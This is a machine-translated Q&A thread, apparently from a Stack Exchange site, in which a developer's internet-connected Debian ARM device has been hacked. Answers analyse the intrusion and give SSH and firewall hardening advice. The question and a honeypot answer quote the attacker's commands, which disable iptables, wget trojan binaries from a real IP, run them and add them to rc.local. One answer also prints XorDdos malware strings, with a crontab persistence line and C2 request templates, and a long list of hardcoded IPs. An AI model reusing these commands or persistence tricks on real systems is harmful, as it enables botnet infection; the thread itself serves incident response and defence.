488

Я разрабатываю потребительский продукт, и он должен быть подключен к Интернету, так что, как и ожидалось, он подключен к Интернету, чтобы я мог правильно его разработать.

Я ушел на час или два, и когда я вернулся в свой офис, я заметил некоторые странные команды, написанные в терминале.

Глядя на файл журнала Linux с именем auth.log я вижу следующие строки (среди многих других):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP-адрес 40.127.205.162 оказывается принадлежащим Microsoft.

Вот несколько команд, которые использовались, пока меня не было:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

И больше:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Я был совершенно не в курсе этого. Как правильно защитить свой продукт?

Я хотел бы опубликовать полный файл auth.log . Как я могу это сделать?

Кроме того, загруженный файл yjz1 , по-видимому, является трояном Linux, и все это, похоже, выполняется какой-то хакерской группой в соответствии с http://anti-hacker-alliance.com/index.php?ip=40.127. 205,162

Должен ли я позвонить в Microsoft и поговорить с ними? Что я должен делать?

9 ответов9

482

РЕДАКТИРОВАТЬ 2:

есть одна веская причина, по которой этот пост привлекает такое большое внимание: вам удалось записать на своем компьютере целую живую сессию злоумышленника. Это очень отличается от нашего повседневного опыта, когда мы имеем дело с обнаружением последствий его действий и пытаемся исправить их. Здесь мы видим его на работе, видим, что у него есть некоторые проблемы с установлением черного хода, проследить его шаги, лихорадочно работать (возможно, потому что он сидел за вашим столом, как предложено выше, или, возможно, и, на мой взгляд, более вероятно, потому что он был не в состоянии заставить свою вредоносную программу работать в системе, прочитайте ниже), и попытайтесь развернуть полностью автономные инструменты контроля. Это то, что исследователи безопасности ежедневно наблюдают со своими медовыми ловушками. Для меня это очень редкий шанс и источник некоторых развлечений.


Вы определенно были взломаны. Доказательства этого не получены из фрагмента файла auth.log который вы отобразили, потому что он сообщает о неудачной попытке входа в систему, произошедшей за короткий промежуток времени (две секунды). Вы заметите, что во второй строке указан Failed password , а в третьей сообщается об отключении pre-auth : парень попытался и потерпел неудачу.

Свидетельство взято из содержимого двух файлов:http://222.186.30.209:65534/yjz и http://222.186.30.209:65534/yjz1 которые злоумышленник загрузил в вашу систему.

Сайт в настоящее время открыт для всех желающих их скачать, что я и сделал. Я сначала запустил file , который показал:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Затем я перенес их на имеющуюся у меня 64-битную виртуальную машину Debian; проверка их содержимого с помощью команды strings обнаружила много подозрительных (ссылки на различные известные атаки, команды, которые должны быть заменены, сценарий, который явно использовался для настройки новой службы и т. д.).

Затем я создал MD5-хэши обоих файлов и отправил их в хеш-базу данных Cymru, чтобы узнать, являются ли они известными агентами вредоносного ПО. В то время как yjz нет, yjz1 есть, и Cymru сообщает, что вероятность обнаружения антивирусным программным обеспечением составляет 58%. В нем также говорится, что этот файл в последний раз видели около трех дней назад, так что это достаточно недавно.

Запустив clamscan (часть пакета clamav ) на двух полученных мной файлах:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

так что теперь мы уверены, что стандартное программное обеспечение Linux может идентифицировать его.

Что вы должны сделать?

Хотя и довольно новая, ни одна из систем не очень новая, см., Например, эту статью за январь 2015 года о XorDdos . Поэтому большинство бесплатных пакетов должно быть в состоянии удалить его. Вы должны попробовать: clamav , rkhunter , chkrootkit . Я погуглил вокруг и увидел, что они утверждают, что могут его обнаружить. Используйте их для проверки работы предшественника, но после запуска этих трех программ вы должны быть готовы к работе.

Что касается более крупного вопроса, what should you do to prevent future infections , ответ Journeyman - хороший первый шаг. Просто помните, что это постоянная борьба, которую все мы (включая меня!) вполне может проиграть, даже не зная об этом.

РЕДАКТИРОВАТЬ:

По приглашению Виктора Тота (косвенно) я хотел бы добавить несколько комментариев. Несомненно, злоумышленник столкнулся с некоторыми трудностями: он загружает два разных хакерских инструмента, несколько раз меняет их разрешения, несколько раз перезапускает и много раз пытается отключить брандмауэр. Легко догадаться, что происходит: он ожидает, что его хакерские инструменты откроют канал связи с одним из его зараженных ПК (см. Позже), и, когда он не видит, что этот новый канал появляется на его контрольном интерфейсе, боится его взлома инструмент блокируется брандмауэром, поэтому он повторяет процедуру установки. Я согласен с Виктором Тотом, что этот конкретный этап его операции, похоже, не приносит ожидаемых результатов, но я хотел бы настоятельно призвать вас не недооценивать степень ущерба, нанесенного вашему компьютеру.

Я приведу здесь частичный вывод strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Это свидетельствует о подделке сервисов (в /etc/init.d и /etc/rc.d), crontab , файла истории mysql и нескольких файлов в proc которые являются ссылками на bash (который предполагает сделанную на заказ мошенническую версию вашей оболочки). Затем программа генерирует HTTP-запрос (к китайскоязычному сайту,

 Accept-Language: zh-cn

что дает смысл вышеприведенному комментарию Дэвида Шварца), что может создать еще больший хаос. В запросе двоичные файлы (Content-Type: application/x-www-form-urlencoded) должны быть загружены на атакованный компьютер (GET) и загружены на управляющий компьютер (POST). Я не мог определить, что будет загружено на атакованный компьютер, но, учитывая небольшой размер yjz и yjz1 (соответственно 1,1 МБ и 600 КБ), я могу предположить, что большинство файлов необходимо для маскировки руткита, т.е. измененные версии ls , netstat , ps , ifconfig , ..., будут загружены таким образом. И это объясняет лихорадочные попытки злоумышленника запустить загрузку.

Нет уверенности в том, что вышесказанное исчерпывает все возможности: нам, безусловно, не хватает части стенограммы (между строками 457 и 481), и мы не видим выхода из системы; Кроме того, особенно тревожат линии 495-497,

cd /tmp;  ./yd_cd/make

которые ссылаются на файл, который мы не видели загруженным, и который может быть компиляцией: если это так, это означает, что у злоумышленника есть (наконец-то?) понял, в чем проблема с его исполняемыми файлами, и пытается ее исправить, и в этом случае атакованный компьютер исчезает навсегда. [На самом деле две версии вредоносного ПО, загруженного злоумышленником на взломанную машину (а я на мою 64-битную виртуальную машину Debian), предназначены для неподходящей архитектуры, x86, в то время как одно только имя взломанного компьютера выдает тот факт, что он имел дело с архитектурой руки].

Причина, по которой я написал эту редакцию, состоит в том, чтобы как можно сильнее убедить вас либо расчесать вашу систему профессиональным инструментом, либо переустановить ее с нуля.

И, кстати, если это окажется полезным для всех, это список из 331 IP-адресов, к которым yjz пытается подключиться. Этот список настолько велик (и, вероятно, его еще предстоит увеличить), что я считаю, что это является причиной вмешательства в mysql . Список, предоставленный другим бэкдором, идентичен, что, как я полагаю, является причиной того, что такая важная часть информации остается открытой (я думаю, что злоумышленник не хотел прилагать усилия для сохранения их в формате ядра, поэтому он поместил весь список в открытый текстовый файл, который, вероятно, был прочитан всеми его бэкдорами для любой ОС):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Следующий код

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

Из приведенного выше списка видно, что 302 из 331 адресов находятся в материковом Китае, остальные - в Гонконге, Монголии, Тайване. Это добавляет дополнительную поддержку утверждению Дэвида Шварца, что это в основном китайский бот-ринг.

РЕДАКТИРОВАТЬ 3

По запросу @ vaid (автор ОП, прочитайте его комментарий ниже), я добавлю комментарий о том, как усилить безопасность базовой системы Linux (для системы, предоставляющей много сервисов, это гораздо более сложная тема). vaid заявляет , что он сделал следующее:

  1. Переустановите систему

  2. изменил пароль root на 16-значный пароль со смешанными строчными и прописными буквами, а также символами и цифрами.

  3. Изменил имя пользователя на 6-символьное длинное имя пользователя и применил тот же пароль, что и для пользователя root

  4. изменил порт SSH на что-то выше 5000

  5. отключил вход по SSH root.

Это нормально (за исключением того, что я использую порт выше 10000, так как многие полезные программы используют порты ниже 10000). Но я не могу особо подчеркнуть необходимость использования криптографических ключей для входа по ssh вместо паролей. Я приведу вам личный пример. На одном из моих VPS я не был уверен, стоит ли менять порт ssh; Я оставил его в 22, но использовал криптографические ключи для аутентификации. У меня были сотни попыток взлома в день, но ни одна из них не удалась. Когда, устав от ежедневной проверки того, что ни у кого ничего не получилось, я в итоге переключил порт на что-то более 10000, попытки взлома обнулились. Имейте в виду, дело не в том, что хакеры глупы (они не таковы!), Они просто выслеживают более легкую добычу.

Легко активировать криптографический ключ с RSA в качестве алгоритма подписи, см. Комментарий Яна Худека ниже (спасибо!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Теперь все, что вам нужно сделать, это скопировать файл id_rsa на компьютер, с которого вы хотите подключиться (в каталоге .ssh , также chmod 'ed до 700), затем выполнить команду

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Если вы уверены, что это работает, отредактируйте на сервере (= машине, к которой вы хотите подключиться) файл /etc/ssh/sshd_config и измените строку

#PasswordAuthentication yes

в

PasswordAuthentication no

и перезапустите службу ssh (service ssh restart или systemctl restart ssh , или что-то в этом роде, в зависимости от дистрибутива).

Это многое выдержит. Фактически, в настоящее время нет известных эксплойтов против текущих версий openssh v2 и RSA, используемых openssh v2 .

Наконец, для того, чтобы по-настоящему сбить с толку вашу машину, вам необходимо настроить брандмауэр (netfilter/iptables) следующим образом:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Это: 1) разрешает ssh-соединения как из локальной, так и из глобальной сети, 2) разрешает весь ввод, который был инициирован вашими запросами (например, при загрузке веб-страницы), 3) отбрасывает все остальное на входе, 4) разрешает все, что включено на выходе и 5-6) позволяет все по интерфейсу обратной связи.

По мере роста ваших потребностей и необходимости открывать новые порты, вы можете сделать это, добавив вверху списка такие правила:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

например, чтобы люди могли получить доступ к вашему веб-браузеру.

140

Добро пожаловать в Интернет - где любой открытый SSH-сервер, вероятно, будет подвергнут зондированию, грубому принуждению и получению различных унижений.

Для начала необходимо полностью стереть хранилище на продукте. Представьте его, если вы хотите передать его для экспертизы, но установка Linux на нем теперь подозрительна.

Немного догадок, но

  1. Вы получили перебор или используете общий пароль. Это безопасность по неясности, но вам не нужен пароль словаря или использование учетной записи root, открытой для SSH. Отключите root-доступ по SSH, если это опция, или хотя бы измените имя, поэтому им нужно угадать оба. В любом случае, SSHing как root - ужасная практика безопасности. Если вы должны использовать root, войдите в систему как другой пользователь и используйте su или sudo для переключения.

  2. В зависимости от продукта может потребоваться каким-либо образом заблокировать доступ по SSH. Полная блокировка звучит как хорошая идея и позволяет пользователям открывать ее по мере необходимости. В зависимости от того, какие ресурсы вы можете сэкономить, рассмотрите возможность использования только IP-адресов в вашей собственной подсети или какой-либо системе регулирования входа в систему. Если вам не нужен конечный продукт, убедитесь, что он выключен.

  3. Используйте нестандартный порт. Снова безопасность за неясностью, но это означает, что злоумышленник должен нацелиться на ваш порт.

  4. Никогда не используйте пароль по умолчанию. Лучший подход, который я видел, - это случайное генерирование пароля для конкретного устройства и его поставка вместе с вашим продуктом. Лучшая практика - аутентификация на основе ключей, но я не знаю, как вы подходите к этому продукту для массового рынка.

33

О, ты определенно был взломан. Похоже, кто-то смог получить учетные данные root и попытался загрузить троянец в вашу систему. MariusMatutiae предоставил анализ полезной нагрузки.

Возникают два вопроса: а) Был ли злоумышленник успешным? И б) что вы можете с этим поделать?

Ответ на первый вопрос может быть нет. Обратите внимание, что злоумышленник постоянно пытается загрузить и запустить полезную нагрузку, очевидно, безуспешно. Я подозреваю, что что-то (SELinux, случайно?) встал у него на пути.

ОДНАКО: злоумышленник также изменил ваш /etc/rc.d/rc.local в надежде, что при перезапуске вашей системы полезная нагрузка будет активирована. Если вы еще не перезапустили систему, не перезапускайте ее, пока не удалите эти изменения из /etc/rc.d/rc.local . Если вы уже перезапустили его ... ну, не повезло.

Что вы можете сделать по этому поводу: самое безопасное, что нужно сделать, это стереть систему и переустановить ее с нуля. Но это не всегда может быть вариантом. Существенно менее безопасная вещь - это проанализировать, что именно произошло, и стереть все следы, если вы можете. Опять же, если вы еще не перезапустили систему, возможно, все, что нужно, это очистить /etc/rc.d/rc.local , удалить все, что было загружено злоумышленником, и, наконец, что не менее важно, изменить чертов пароль!

Однако, если злоумышленник уже смог запустить полезную нагрузку, в вашей системе могут быть другие модификации, которые может быть трудно обнаружить. Вот почему полная очистка действительно единственный безопасный (и рекомендуемый) вариант. Как вы указали, рассматриваемое оборудование может быть целью тестирования / разработки, поэтому, возможно, его стирание не так болезненно, как в других случаях.

Обновление: несмотря на то, что я написал о возможном восстановлении, я хотел бы повторить очень сильную рекомендацию MariusMatutiae не недооценивать потенциальный ущерб, причиненный этой полезной нагрузкой, и степень, в которой она могла бы скомпрометировать целевую систему.

17

Мой sshd-honeypot также видел этот вид атаки. Первые загрузки с этого URL начались 2016-01-29 10:25:33 и атаки все еще продолжаются. Атаки идут

103.30.4.212
111.68.6.170
118.193.228.169

Вход от этих злоумышленников был:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 &gt /dev/null 2&gt&amp1 &amp
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp

Так что никаких действий, кроме установки бэкдора на потом.

11

Все здесь предлагают твердые советы, но, для ясности, ваши приоритеты должны быть в резервном копировании и проверять, что вам действительно нужно от этой системы, а затем стирать ее с новой установки с известных безопасных носителей.

Прежде чем подключить недавно установленный хост к Интернету, ознакомьтесь с этими идеями:

  1. Создайте нового пользователя без полномочий root и войдите в систему как этот пользователь. Вы никогда не должны входить в систему как root, просто sudo (заменитель пользователя), когда это необходимо.

  2. Установите SE Linux, параметры конфигурации, которые включают обязательный контроль доступа: https://wiki.debian.org/SELinux/Setup

  3. Рассмотрим аппаратный брандмауэр между вашим офисом / домом и Интернетом. Я использую MicroTik, который имеет отличную поддержку сообщества: http://routerboard.com/.

Предполагая, что у вас есть сроки для завершения вашей оплачиваемой работы, по крайней мере, сделать # 1. № 3 быстро и дешево, но вам нужно будет либо подождать посылку по почте, либо доехать до магазина.

11
  1. Является ли debian-armhf вашим именем хоста? Или вы используете установку по умолчанию с настройками по умолчанию? С этим проблем нет, но вы не должны позволять хосту быть напрямую подключенным к Интернету (то есть, по крайней мере, не защищенным вашим модемом).

  2. Похоже , что реальная проблема исходит от 222.186.30.209 (см http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). Вы не должны обращать особого внимания на просмотр IP-адреса Microsoft. IP можно более или менее легко подделать / подделать.

  3. Обычный способ подключения к Интернету - пересылка известного списка портов с вашего общедоступного IP-адреса (например, 8.8.8.8) на ваш локальный (например, 192.168.1.12).

    • Например, не пересылать все входящие соединения с 8.8.8.8 (общедоступные) на 192.168.1.12 (локальные).

    • Переадресация только на порты 22 и 25 (ssh и входящая почта соответственно). Разумеется, у вас должны быть также новейшие пакеты / библиотеки ssh и smtp .

  4. Что дальше? Отключите хост и измените любые пароли (на любых компьютерах, связанных с организацией), которые жестко запрограммированы в сценариях оболочки (позор вам!) в /etc/shadow .

9

Как уже говорили другие, вполне очевидно, что безопасность вашего сервера была нарушена. Самое безопасное - стереть эту машину и переустановить.

Чтобы ответить на вторую часть вашего вопроса, если вы не можете использовать аутентификацию с открытым ключом, я рекомендую хотя бы настроить Fail2Ban и запустить SSH на нестандартном порту. Я также отключаю корневой доступ по SSH.

Fail2Ban поможет смягчить атаки методом перебора, запретив IP-адреса, которые не могут войти в систему определенное количество раз.

Настройка прослушивания sshd на нестандартный порт, по крайней мере, поможет немного уменьшить видимость вашего SSH-сервера. Отключение входа в систему root также немного уменьшает профиль атаки. В /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Когда root-вход отключен, вам нужно будет либо переключиться на root с помощью su после подключения, либо (более предпочтительно) использовать sudo для выполнения привилегированных команд.

8

SSH-серверы постоянно подвергаются атакам в интернете. Пара вещей, которые вы делаете:

  1. Убедитесь, что вы используете очень безопасный случайный пароль для компьютеров, доступных через Интернет. Я имею в виду, как 16 или более символов и совершенно случайно. Используйте менеджер паролей, чтобы вам не пришлось его запоминать. Если вы можете запомнить свой пароль, это слишком просто.

  2. Если вам не нужен SSH, выключите его. Если вам это нужно, но не нужно, чтобы он был общедоступным, запустите его с большим нестандартным номером порта. Это значительно сократит количество попыток взлома. Да, выделенный хакер может выполнить сканирование портов, но автоматизированные боты не найдут его.

Фрагмент из вашего журнала авторизации показывает неудачную попытку. Однако, если вы посмотрите дальше, вы, несомненно, увидите успешный вход в систему. Если вы используете простой пароль, то для бота это тривиально.

Вам нужно изолировать эту машину от сети. Очень осторожно достаньте то, что вам нужно, а затем вытрите.

6

Первое, что должен сделать каждый / каждый после настройки фронтального сервера Linux / Unix, - это немедленно отключить root .

Ваша система была взломана. У вас есть журнал истории выполнения, который может быть интересным для просмотра. Но, честно говоря, разбираться в деталях немного придирчиво, и это не поможет вам защитить ваш сервер. Он показывает всякую чепуху, которая возникает, когда ботнет порождает вредоносное ПО, которое, скорее всего, заразило ваш сервер, заражает систему Linux. Ответ, предоставленный @MariusMatutiae , хорош и хорошо продуман, и есть другие, которые повторяют, что вы были взломаны через root доступ, который является мечтой вредоносной программы / ботнета.

Есть несколько объяснений о том, как отключить root но я констатирую из личного опыта, большинство всего, что выходит за рамки того, что я сейчас опишу, является излишним. Вот что вы должны были сделать при первой настройке сервера:

  1. Создание нового пользователя с правами sudo Создание нового пользователя с новым именем-то вроде cooldude -при команды как sudo adduser cooldude , если вы используете Ubuntu или другой тип системы Debian. Затем просто вручную отредактируйте файл sudo с помощью команды, подобной этой sudo nano /etc/sudoers и добавьте строку, подобную cooldude ALL=(ALL:ALL) ALL ниже эквивалентной строки, которая должна читать root ALL=(ALL:ALL) ALL . После этого войдите в систему как cooldude и протестируйте команду sudo с помощью команды sudo w что-то базовое и неразрушающее - чтобы увидеть, работают ли права sudo . Вам может быть предложено ввести пароль. Это работает? Все хорошо! Перейдите к следующему шагу.
  2. Блокировка учетной записи root . Хорошо, теперь, когда cooldude отвечает за права sudo , войдите в систему как cooldude и запустите эту команду, чтобы заблокировать учетную запись root sudo passwd -l root . Если вы как-то создали пару ключей SSH для root , откройте /root/.ssh/authorized_keys и удалите ключи. Или еще лучше, просто переименовать этот файл authorized_keys_OFF как это, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF эффективно отключить клавиши SSH. Я предпочитаю позже, потому что по случайному случаю вам все еще нужен пароль без логина, вы можете просто переместить этот файл обратно к исходному имени, и вы должны быть готовы.

